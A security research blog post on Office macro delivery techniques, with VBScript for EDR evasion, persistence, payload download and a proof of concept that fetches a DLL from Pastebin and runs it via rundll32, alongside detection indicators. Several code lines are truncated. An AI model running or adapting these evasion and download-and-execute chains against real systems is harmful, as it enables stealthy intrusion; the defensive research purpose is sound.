Sei sulla pagina 1di 10

Microsoft Office macros continue to be one of the primary delivery mechanisms in real world attacks

seen by Countercept and often present the easiest and simplest way to compromise most
organisations. However, common payloads haven’t changed that much over time, aside from the
addition of increasingly complex obfuscation.

In this post we’ll discuss the main macro execution options and the kinds of endpoint (EDR) activity
they generate, as well as future directions that are being/may be taken by threat actors and the
detection techniques that can be applied.

Obfuscation of macro code will not be covered in this post, as this is a huge topic in of itself.

The Typical Approach


Office macros are written in VBScript. Although a somewhat painful language to use, VBScript is fully
featured allowing full access to the underlying system. Despite its power most threat actors will use
lightweight code to simply download and execute a secondary payload directly from the Office
process. Very often they will also rely on PowerShell and various LOLBins.

For example, Emotet [1] has consistently used a winword/cmd/PowerShell combo similar to:

cmd /c powershell <URL list><download and execute payload>

A nice LOLBin example is APT28 using certutil from a macro to decode a payload once it’s been
downloaded:

certutil -decode <text payload> <exe payload>

Although macro payloads are often heavily obfuscated and can bypass static analysis, approaches
like this generate anomalous patterns of activity that are easily detectable with an EDR agent.

So is that the end of macro-based attacks? Far from it. As an attacker, we just need to be smarter
about how we are executing our payloads. We need to think more about dechaining (spreading
activity over different techniques, systems, time periods or user accounts), different payload
deployment techniques, and think about blending in. All of these introduce complexity from a
defensive point of view and decrease the chance you’ll be caught.

There are a huge number of possibilities when you apply this concept to macros, as VBScript lets you
change files, memory and the registry, providing many ways to bypass both static and dynamic
analysis. In the following sections we’ll discuss some of the options that exist.

Evading Parent/Child Analysis


Parent/child analysis is often used by defensive teams to spot anomalous programs being spawned
by Microsoft Office. However, there are a number of approaches that can be used to evade
parent/child detection by spawning processes from other processes.

The first and one of the most commonly seen is using WMI to launch a new process [2]. Using this
technique the new process will be spawned under “wmiprvse.exe” instead of the Office process. The
code to perform this is below:

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\


Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("Notepad.exe", Null, objConfig, intProcessID

Another option is to use Parent PID Spoofing with CreateProcessA. In a previous blog post we
showed how this technique can be used directly from a macro to execute a process from an arbitrary
parent process [3].

The final technique to mention is using COM. COM is a really interesting approach as you can
essentially reference any COM object (effectively another executable) from VBScript and use its
functions. For example, the object ShellBrowserWindow can be used to execute new processes from
Explorer:

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")


obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",

Another variant is the use of XMLDOM, which was discovered by MDSec. The power of this object is
that it allows both the download and execution of code within the Office process, all in just five lines of
code. [4]

Set xml = CreateObject("Microsoft.XMLDOM")


xml.async = False
Set xsl = xml
xsl.load(“http://attacker/payload.xsl”)
xml.transformNode xsl
All of these techniques can help evade naive parent/child Office detection rules. However, some
techniques are still detectable. For example, defenders can look for wmiprvse/explorer spawning
suspicious processes or perform detection of PID spoofing with ETW. The XMLDOM activity could be
detected by looking for a module load event for msxml3.dll (although a potential bypass here is calling
MSXML2.DomDocument.6.0 instead which will use msxml6.dll which is loaded by default). Analysis of
COM usage could provide some interesting insights; however, this dataset is not typically logged by
endpoint tooling.

Scheduled Task Creation


VBScript lets you create Scheduled Tasks, which can be abused to not only dechain activity from
Office (svchost.exe will spawn the task), but also dechain the timing of activity; for example, a
malicious task could be set to activate days or weeks in the future.

Last year Countercept saw an increase in the number of macro-based malware campaigns, such as
Dridex, which used scheduled task creation instead of executing new processes directly from Office.
The in-the-wild code was directly taken from a Microsoft post [5]. A condensed version is below:

Set service = CreateObject("Schedule.Service")


Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Microsoft Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\notepad.exe"
Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, ,

Aside from the task creation itself, another nice detection indicator here is the use of taskschd.dll,
which will be loaded by Office when the Schedule.Service object is created.

It's also possible to create services directly from VBScript using Win32_BaseService; however, this
requires administrative/high integrity access so in general is not a good approach.

Registry Modification
VBScript also allows access to the registry - allowing the storing of payloads, modification of settings,
and creation of persistence entries directly from a macro. This is another great way to dechain second
stage payload execution from the initial macro dropper, as payloads can be configured to execute on
boot as opposed to directly executing from the macro.

I’ve included two Run Key creation examples below, one using WMI, the other using WScript.

Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")


objRegistry.SetStringValue &H80000001, "Software\Microsoft\Windows\Current

Viewing the WMI activity in ProcMon we can confirm wmiprvse is responsible for the key creation. The
second example using WScript won’t spawn a new process and instead creates the keys directly from
winword:

Set WshShell = CreateObject("WScript.Shell")


WshShell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\key2

From a defensive perspective looking for registry writes to persistence locations from Office would be
a nice indicator here. From the offensive side you'd probably want to use the WMI approach as it may
blend in more. Also, to make this operational we could set our value to PowerShell or a LOLBin, like
regsvr32. Although this would be somewhat noisy from an endpoint perspective the big advantage
would be a very small macro payload, literally two lines!

While the previous approach is easy to implement, in general creating such obvious persistence
entries will increase your chances of being caught. A far more stealthy approach would be to use
registry-based COM hijacking in combination with a dropped file. GData have a great post [6] where
they covered a real-world COM hijacking example that replaced COM values to redirect execution. A
similar variant was demonstrated by Enigma, which abused HKCR loading, as well as Scheduled
Tasks that referenced COM entries. [7]

The following VBScript recreates this attack creating a malicious entry for the MsCtfMonitor Scheduled
Task:
Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
clsid = "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
objRegistry.CreateKey &H80000001, "Software\Classes\CLSID\" & clsid & "\In
objRegistry.SetStringValue &H80000001, "Software\Classes\CLSID\" & clsid &
objRegistry.SetStringValue &H80000001, "Software\Classes\CLSID\" & clsid &

From a defensive perspective it may be difficult to detect this activity unless you are specifically
analysing CLSID registry keys being modified or performing least frequency analysis of loaded
modules.

Although we won’t cover an example, do remember that you could also store a payload within the
registry and then retrieve/execute it using a different technique. Office often references the following
path “HKCU\Software\Microsoft\Office\15.0\*” making it potentially a nice location for hiding payloads.

Dropping Files
Dropping files has its pros and cons. Making changes to disk can often mean payloads are analyzed
by antivirus and leave forensic artefacts. Yet in most breaches attackers still use payloads dropped to
disk due to the convenience and ease of having a solid foothold in a network.

In VBScript we can make use of the FileSystemObject to drop files. A crude example is shown below
where a startup item is added:

Path = CreateObject("WScript.Shell").SpecialFolders("Startup")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(Path & "\test.bat", True)
objFile.Write "notepad.exe" & vbCrLf
objFile.Close

As the execution of the payload would only occur at startup this nicely dechains our initial
stager/payload from the macro activity. However, Office creating a BAT file or any file in the startup
folder is somewhat suspicious and something defenders may spot.

By carefully choosing filenames, file paths and file metadata we can make it a lot more difficult for
defenders to spot anomalous files. For example, we could blend in more by mirroring typical Winword
activity and use one of the below real world entries:

C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WR
C:\Users\<user>\AppData\Local\Temp\CVR497F.tmp
C:\Users\<user>\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77

A really nice combined file drop/persistence method would be to modify the default Office template at:
C:\Users\<user>\AppData\Roaming\Microsoft\Templates\Normal.dotm

From a defensive perspective it would be difficult to detect template modification from Office as
malicious.

Download Content
There are multiple ways VBScript can be used to download content. This content can then be dropped
to disk, inserted into the registry or injected into memory.

One of the most common and simplest methods is using the XMLHTTP library along with ADODB to
output to file.

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")


Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/w64/putty.e
xHttp.Send
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile Environ("APPDATA") & "\test.exe", 2
End With

Another option would be to use a direct API call, for example a simple VBScript download cradle can
be implemented using URLDownloadToFIleA.

Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal pC


ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Lon
ByVal lpfnCB As Long) As Long
x = URLDownloadToFileA(0, "https://the.earth.li/~sgtatham/putty/latest/w64

Part of the challenge with the previous techniques is that they will generate an outbound network
connection from Office. A slightly sneakier approach is to use Internet Explorer COM; this will spawn a
browser from svchost (not Office) to download content:

Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "https://pastebin.com/raw/tcmMXwMG"
State = 0
Do Until State = 4
DoEvents
DoEvents
State = ie.readyState
Loop
Dim payload: payload = ie.Document.Body.innerHTML

Another potential trick to use here is copying and using system binaries to download/execute a
payload. This approach has previously been used by threat actors to evade naïve detection rules that
look for specific process names/paths; e.g. PowerShell, mshta, certutil etc. This approach is really
simple using the copyfile function:

Set fso = CreateObject("Scripting.FileSystemObject")


fso.copyfile "C:\Windows\System32\certutil.exe", Environ("TEMP") & "\CVR49
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "cmd", "/k cd %temp% && ren CVR497F.

The above example shows how a renamed certutil can be used to download a payload. A file write
event will be seen from Office, but use a common path and filename used by Office. I also added a
sneaky echo 1 to modify the hash of the file. This trick would be useful to evade detection rules going
by hash, but could still be detected by defenders looking at file metadata. As mentioned previously,
any use of LOLBins or spawning of cmds in such a way is not recommended, especially as we could
have completed our actions from within the macro itself.

Embed File and Drop


Do remember you can also embed your payload/binary directly within the macro/document itself.
Metasploit contains a feature “vba-exe” that allows you to create a macro with embedded payload.
This can be useful if you want to avoid downloading a second stage payload or don’t want to create
anomalous network connections from Office. For example to embed a calc in a macro:

msfvenom -p generic/custom PAYLOADFILE=/home/user1/Downloads/calc.exe -a x

Which will give us a text blob that is our binary to insert in the document, and a macro to extract and
drop to disk. It’s worth mentioning I hit a size error when doing this:

“Error: The EXE generator now has a max size of 2048 bytes, please fix the

I ended up hacking the below file and increasing the size limit from 2048 to 204800, which fixed the
error:

/opt/metasploit-framework/embedded/framework/lib/msf/util/exe.rb
The one issue with the default Metasploit template is that it spawns processes from Office, which is
the opposite of what we want to do. However, it’s relatively easy to adjust the code to replace the
“Shell” execute command with one of the parent/child evasion techniques described in this post.

Memory Injection
As shown before, we can use Windows API functions directly in our macro to obtain access to more
powerful lower level OS functionality. One application of this is memory injection in order to execute
shellcode directly from the memory of the current process or another process. There are a few
advantages to this approach including:

No need to drop additional files


Ability to execute code from within another legitimate process
Use of raw shellcode that is harder to detect/analyze

Although not required, this approach is particularly powerful when the payload is downloaded on the
fly as opposed to being included within the macro itself. This aids in making analysis more difficult or
even not possible at all if IP locking or some kind of host/domain keying is used in the C2.

There are many possible memory injection techniques and pretty much all of them can be ported to
VBScript. Endgame has a great post covering the main techniques here [8]. These have long been
abused by attackers. Hancitor malware, for example, has used injection/execution of shellcode within
Office processes before using process hollowing to move into a separate process [9].

There are, however, some caveats with memory injection when it comes to EDR:

Anomalous API Calls – Antivirus and EDR will often monitor specific APIs that are commonly
used for memory injection. Making use of functions such as VirtualAlloc, VirtualProtect,
SetThreadContext, CreateThread/CreateRemoteThread will increase your chance of being caught.
Macro Code Size/Content – One drawback of using memory modification code is that your macro
code will tend to become larger and can expose you to static detection. I would recommend
keeping macro payloads as small/simple as possible to avoid detection.
Memory permissions – Often attackers will use RWX permissions when allocating memory.
However, the existence of non file-backed memory regions that are marked as RWX can be
anomalous. Switching memory permission to RX once a payload has been written in memory can
help bypass such detection (although this activity in itself can be anomalous!).

For these reasons (and added development complexity) it can often be preferable to actually avoid
memory injection techniques when it comes to macro delivery.

Bringing Everything Together


This post has covered a lot of different techniques and I wanted to finish things up with an example
that combined everything to create a sneaky payload that will be challenging for defenders to
detect. The payload below will retrieve a DLL from Pastebin, drop the DLL to the temp folder, followed
by execution with rundll32. Although straightforward, each step has been crafted to make detection
more difficult. Opsec checklist:

Network connections out of Internet Explorer – Done


Dropping a payload that imitates a legitimate word temporary file – Done
Launching legitimate processes from Explorer – Done
Executing a final payload using rundll impersonating legitimate activity – Done
Lightweight, easy to use macro without any embedded payload – Done
Each step of activity dechained from the previous step – Done

I created a basic DLL payload to launch notepad, this was then converted to hex with the PowerShell
below and uploaded to Pastebin:

([System.IO.File]::ReadAllBytes($(resolve-path C:\payload.dll))| ForEach-

Proof of concept below:

Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "https://pastebin.com/raw/g10EQ6PS"
State = 0
Do Until State = 4: DoEvents: State = ie.readyState: Loop
Dim payload: payload = ie.Document.Body.getElementsByTagName("pre").Item(0
p = Environ("TEMP") & "\CVR" & Int(Rnd * 999) + 1 & "F.tmp.cvr"

Set objFSO = CreateObject("Scripting.FileSystemObject")


Set objFile = objFSO.CreateTextFile(p, True)

With objFile: For lp = 1 To Len(payload) Step 2: .Write Chr(CByte("&H" & M

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")


obj.Document.Application.ShellExecute "rundll32", p & ",zzzzInvokeManagedC
Dim dt: dt = DateAdd("s", 3, Now()): Do Until (Now() > dt): Loop
objFSO.DeleteFile p

From a detection point of view there are a few different indicators. The rundll execution for example
will show up in process data. Although it mimics legitimate activity seen in the real world, you could
potentially alert on the reference to a temporary location or module load from a temporary location.

Another subtle detection indicator here is the size of the file dropped, during testing legit tmp files were
always zero kilobytes, whereas a payload will obviously be a lot larger.

One final indicator was actually Antivirus, with no obfuscation this payload was 9/58 on VirusTotal.
However as always this is probably something which can easily be evaded, maybe a challenge for
another post ;)
Conclusion
The Office macro is a tried and tested attack vector that is still widely used in a significant number of
attacks. On the surface you might assume that with the rise of EDR tooling such attacks could be
prevented. However, as shown in this post, with some clever ingenuity there are multiple ways to
bypass common detection approaches.

With carefully chosen payloads Blue teamers will be pushed to their limits in detecting such activity
due to the way it can blend in with legitimate behaviour. As always this emphasises the need for
continual research and improvements in detection tooling to keep pace with offensive innovation.

References
[1] https://countercept.com/blog/hunting-for-emotet/
[2] https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmi-tasks--processes
[3] https://www.countercept.com/blog/detecting-parent-pid-spoofing/
[4] https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/
[5] https://docs.microsoft.com/en-gb/windows/desktop/TaskSchd/time-trigger-example--scripting-
[6] https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-
persistence
[7] https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-
hijacking/
[8] https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-
common-and-trending-process
[9] http://blog.morphisec.com/hancitor-macro-malware-with-process-hollowing
[10] https://gist.github.com/mgeeky/9dee0ac86c65cdd9cb5a2f64cef51991

Potrebbero piacerti anche